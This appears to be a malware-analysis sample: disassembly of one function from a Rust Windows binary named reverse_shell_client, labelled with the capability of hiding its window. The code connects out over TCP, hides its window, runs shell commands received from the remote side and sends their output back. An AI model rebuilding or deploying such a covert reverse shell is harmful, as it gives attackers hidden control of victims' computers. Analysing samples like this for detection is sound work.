Function at 0x140002260
Capabilities:
Hide graphical window

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x3c0
movaps xmmword [rsp + 0x3b0], xmm6
lea rcx, [0x14009f128]
mov edx, 0x12
call sym.std::net::tcp::TcpStream::connect::h4c92c921132fe87c
mov rdi, rdx
test rax, rax
jne 0x1400029d9
mov qword [rsp + 0x68], rdi
lea rcx, [rsp + 0x1b0]
mov r8d, 0x200
xor edx, edx
call sub.msvcrt.dll_memset
xor ecx, ecx
call sub.KERNEL32.dll_GetModuleHandleW
mov rdi, rax
lea rdx, str.hidden_window_class
lea rcx, [rsp + 0x78]
mov r8d, 0x13
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h665e439864441071
movabs r13, 0x8000000000000001
dec r13
cmp qword [rsp + 0x78], r13
jne 0x14000240c
mov rbx, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
lea rdx, str.Hidden_Window
lea rcx, [rsp + 0x78]
mov r8d, 0xd
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h665e439864441071
cmp qword [rsp + 0x78], r13
jne 0x14000245a
mov r14, qword [rsp + 0x80]
mov r15, qword [rsp + 0x88]
mov dword [rsp + 0xb0], 0
lea rax, [sym.reverse_shell_client::wnd_proc::h7a6a6cae365b5324]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], rdi
xorps xmm6, xmm6
movups xmmword [rsp + 0xd0], xmm6
movups xmmword [rsp + 0xe0], xmm6
mov qword [rsp + 0xf0], rbx
lea rcx, [rsp + 0xb0]
call sub.USER32.dll_RegisterClassW
mov qword [rsp + 0x50], rdi
movups xmmword [rsp + 0x40], xmm6
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov ecx, pe_nt_image_headers64
mov rdx, rbx
mov r8, r14
mov r9d, 0xcf0000
call sub.USER32.dll_CreateWindowExW
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
mov byte [r14], 0
test r15, r15
je 0x1400023ef
mov r8d, 1
mov rcx, r14
mov rdx, r15
call sym.__rust_dealloc
mov byte [rbx], 0
test rsi, rsi
je 0x140002519
mov r8d, 1
mov rcx, rbx
mov rdx, rsi
jmp 0x140002514
movups xmm0, xmmword [rsp + 0x78]
movups xmm1, xmmword [rsp + 0x88]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [0x14009f1f0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value_rustc_f6e511eec7342f59a25f7c0534f1dbea00d01b14library_alloc_srccollections_btree_navigate.rs
lea r9, section..rdata
lea r8, [rsp + 0xb0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h49d4354db7bdcd0c
jmp 0x140002a1b
movups xmm0, xmmword [rsp + 0x78]
movups xmm1, xmmword [rsp + 0x88]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [0x14009f218]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value_rustc_f6e511eec7342f59a25f7c0534f1dbea00d01b14library_alloc_srccollections_btree_navigate.rs
lea r9, section..rdata
lea r8, [rsp + 0xb0]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h49d4354db7bdcd0c
jmp 0x140002a1b
call sym.__rust_dealloc
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x1b0]
mov r8d, 0x200
call sym.std::net::udp::UdpSocket::recv::h09d5199851a06846
mov rdi, rdx
test rax, rax
jne 0x1400029cf
cmp rdi, 0x201
jae 0x140002a07
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x1b0]
mov r8, rdi
call sym.alloc::string::String::from_utf8_lossy::hea75e3fab63d5729
mov rbx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
mov rcx, rbx
call sym.core::str::__impl_str_::trim_matches::h02772172289225fb
mov rdi, rdx
test rdx, rdx
js 0x1400029f7
mov r14, rax
test rdi, rdi
je 0x1400025c0
mov rax, qword [str.1__r_]
movzx eax, byte [rax]
mov r15d, 1
mov edx, 1
mov rcx, rdi
call sym.__rust_alloc
test rax, rax
je 0x1400029fa
mov rsi, rax
jmp 0x1400025c5
mov esi, 1
mov rcx, rsi
mov rdx, r14
mov r8, rdi
call sym.memcpy
mov rdx, qword [rsp + 0xb0]
lea rax, [rdx*2]
test rax, rax
jne 0x140002600
test rdi, rdi
jne 0x140002617
jmp 0x140002519
mov r8d, 1
mov rcx, rbx
call sym.__rust_dealloc
test rdi, rdi
je 0x140002519
cmp rdi, 4
je 0x1400026b3
cmp rdi, 2
jne 0x14000291c
cmp word [rsi], 0x7069
je 0x1400026e3
cmp word [rsi], 0x736f
jne 0x14000291c
lea rdx, [0x14009f168]
lea rcx, [rsp + 0xb0]
mov r8d, 3
call sym.std::sys::pal::windows::process::Command::new::h0655ac7c7eb9a10c
lea rdx, [0x14009f16b]
lea rcx, [rsp + 0xb0]
mov r8d, 2
call sym.std::sys::pal::windows::process::Command::arg::hb1117b615065d362
lea rdx, [0x14009f16d]
lea rcx, [rsp + 0xb0]
mov r8d, 3
call sym.std::sys::pal::windows::process::Command::arg::hb1117b615065d362
lea rcx, [rsp + 0x78]
lea rdx, [rsp + 0xb0]
call sym.std::process::Command::output::ha3b2e5f12e0548c9
lea rcx, [rsp + 0xb0]
call sym.core::ptr::drop_in_place_std::process::Command_::h48f2f92303a95b23
jmp 0x140002750
cmp dword [rsi], 0x74697865
jne 0x14000291c
mov edx, 4
mov r8d, 1
mov rcx, rsi
call sym.__rust_dealloc
mov rcx, qword [rsp + 0x68]
call sub.WS2_32.dll_closesocket
xor edi, edi
jmp 0x1400029d9
lea rdx, [0x14009f168]
lea rcx, [rsp + 0xb0]
mov r8d, 3
call sym.std::sys::pal::windows::process::Command::new::h0655ac7c7eb9a10c
lea rdx, [0x14009f16b]
lea rcx, [rsp + 0xb0]
mov r8d, 2
call sym.std::sys::pal::windows::process::Command::arg::hb1117b615065d362
lea rdx, [0x14009f170]
lea rcx, [rsp + 0xb0]
mov r8d, 8
call sym.std::sys::pal::windows::process::Command::arg::hb1117b615065d362
lea rcx, [rsp + 0x78]
lea rdx, [rsp + 0xb0]
call sym.std::process::Command::output::ha3b2e5f12e0548c9
lea rcx, [rsp + 0xb0]
call sym.core::ptr::drop_in_place_std::process::Command_::h48f2f92303a95b23
cmp qword [rsp + 0x78], r13
jne 0x140002877
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x188], rax
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::hfe4f7777120f8419]
mov qword [rsp + 0x190], rax
lea rax, [0x14009f1b8]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 2
mov qword [rsp + 0xd0], 0
lea rax, [rsp + 0x188]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 1
lea rcx, [rsp + 0x198]
lea rdx, [rsp + 0xb0]
call sym.alloc::fmt::format::format_inner::h0033b6d4996550c5
mov rbx, qword [rsp + 0x198]
mov r14, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x68]
mov rdx, r14
call sym.std::io::Write::write_all::h8eed05cf55eb2f04
mov rdi, rax
test rax, rax
jne 0x140002956
test rbx, rbx
je 0x140002823
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call sym.__rust_dealloc
mov rax, qword [rsp + 0x70]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x140002917
lea rbx, [rax - 1]
mov r14, qword [rax - 1]
mov r15, qword [rax + 7]
mov rax, qword [r15]
test rax, rax
je 0x14000284f
mov rcx, r14
call rax
mov rdx, qword [r15 + 8]
test rdx, rdx
je 0x140002864
mov r8, qword [r15 + 0x10]
mov rcx, r14
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, rbx
jmp 0x140002912
mov r15, qword [rsp + 0x78]
mov r12, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x90]
mov r14, qword [rsp + 0x98]
test r8, r8
je 0x1400028b0
lea rcx, [rsp + 0x68]
mov rdx, r12
call sym.std::io::Write::write_all::h8eed05cf55eb2f04
jmp 0x1400028e3
mov r8, qword [rsp + 0xa0]
test r8, r8
je 0x1400028cc
lea rcx, [rsp + 0x68]
mov rdx, r14
call sym.std::io::Write::write_all::h8eed05cf55eb2f04
jmp 0x1400028e3
lea rdx, [0x14009f178]
lea rcx, [rsp + 0x68]
mov r8d, 0x23
call sym.std::io::Write::write_all::h8eed05cf55eb2f04
mov rdi, rax
test rax, rax
jne 0x14000292d
test r15, r15
je 0x140002901
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
test rbx, rbx
je 0x140002917
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call sym.__rust_dealloc
mov edi, 2
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
jmp 0x140002514
test r15, r15
je 0x140002943
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
test rbx, rbx
je 0x1400029bc
mov r8d, 1
mov rcx, r14
mov rdx, rbx
jmp 0x1400029b7
test rbx, rbx
je 0x14000296c
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call sym.__rust_dealloc
mov rax, qword [rsp + 0x70]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x1400029bc
lea rbx, [rax - 1]
mov r14, qword [rax - 1]
mov r15, qword [rax + 7]
mov rax, qword [r15]
test rax, rax
je 0x140002994
mov rcx, r14
call rax
mov rdx, qword [r15 + 8]
test rdx, rdx
je 0x1400029a9
mov r8, qword [r15 + 0x10]
mov rcx, r14
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, rbx
call sym.__rust_dealloc
mov edx, 2
mov r8d, 1
mov rcx, rsi
call sym.__rust_dealloc
mov rcx, qword [rsp + 0x68]
call sub.WS2_32.dll_closesocket
mov rax, rdi
movaps xmm6, xmmword [rsp + 0x3b0]
add rsp, 0x3c0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor r15d, r15d
mov rcx, r15
mov rdx, rdi
call sym.alloc::raw_vec::handle_error::hcf880acc1984e8dc
jmp 0x140002a1b
lea r8, [0x14009f148]
mov edx, 0x200
mov rcx, rdi
call sym.core::slice::index::slice_end_index_len_fail::hca289dda450e409b
ud2